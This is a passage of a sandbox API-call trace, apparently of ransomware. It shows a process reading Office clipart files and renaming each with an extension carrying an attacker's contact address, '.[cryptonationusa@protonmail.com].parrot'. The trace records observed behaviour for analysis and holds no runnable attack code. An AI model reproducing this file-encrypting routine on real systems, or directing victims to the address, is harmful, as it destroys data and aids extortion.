lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.759] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.802] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.802] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21c2, lpOverlapped=0x0) returned 1 [0144.804] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.804] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.804] CloseHandle (hObject=0x288) returned 1 [0144.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.809] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2304, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.809] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.811] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.811] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x21ec, lpOverlapped=0x0) returned 1 [0144.812] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.812] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2304, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.812] CloseHandle (hObject=0x288) returned 1 [0144.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.834] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bec, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.834] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.836] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.836] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ad4, lpOverlapped=0x0) returned 1 [0144.837] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.837] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.837] CloseHandle (hObject=0x288) returned 1 [0144.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.842] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a62, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.843] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.843] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.844] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.844] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x194a, lpOverlapped=0x0) returned 1 [0144.845] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.845] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a62, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.845] CloseHandle (hObject=0x288) returned 1 [0144.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.850] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39de, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.850] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.850] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.852] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.852] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x38c6, lpOverlapped=0x0) returned 1 [0144.853] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.853] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.853] CloseHandle (hObject=0x288) returned 1 [0144.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.857] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1856, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.857] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.857] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.859] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.859] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x173e, lpOverlapped=0x0) returned 1 [0144.860] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.860] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1856, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.860] CloseHandle (hObject=0x288) returned 1 [0144.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.864] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.864] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.864] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.865] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.866] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4696, lpOverlapped=0x0) returned 1 [0144.867] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.867] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.867] CloseHandle (hObject=0x288) returned 1 [0144.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.871] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3050, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.871] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.871] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.873] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.873] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f38, lpOverlapped=0x0) returned 1 [0144.874] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.875] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3050, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.875] CloseHandle (hObject=0x288) returned 1 [0144.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.878] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.878] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.878] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.880] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.880] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14bc, lpOverlapped=0x0) returned 1 [0144.881] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.882] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.882] CloseHandle (hObject=0x288) returned 1 [0144.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.885] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1698, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.885] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.885] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.887] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1580, lpOverlapped=0x0) returned 1 [0144.887] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.888] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1698, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.888] CloseHandle (hObject=0x288) returned 1 [0144.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.891] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.891] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.891] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.893] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.894] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27a4, lpOverlapped=0x0) returned 1 [0144.895] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.895] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.895] CloseHandle (hObject=0x288) returned 1 [0144.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.899] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5084, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.899] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.899] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.973] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.974] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f6c, lpOverlapped=0x0) returned 1 [0144.975] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.977] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5084, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.977] CloseHandle (hObject=0x288) returned 1 [0144.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.982] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd28, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.982] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.982] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.019] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc10, lpOverlapped=0x0) returned 1 [0145.019] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.019] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.020] CloseHandle (hObject=0x288) returned 1 [0145.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.024] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa50, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.024] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.046] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.047] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x938, lpOverlapped=0x0) returned 1 [0145.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.048] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0145.048] CloseHandle (hObject=0x288) returned 1 [0145.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0145.052] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc78, nNumberOfBytesToLockHigh=0x0) returned 1 [0145.052] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0145.052] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0145.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.063] ReadFile 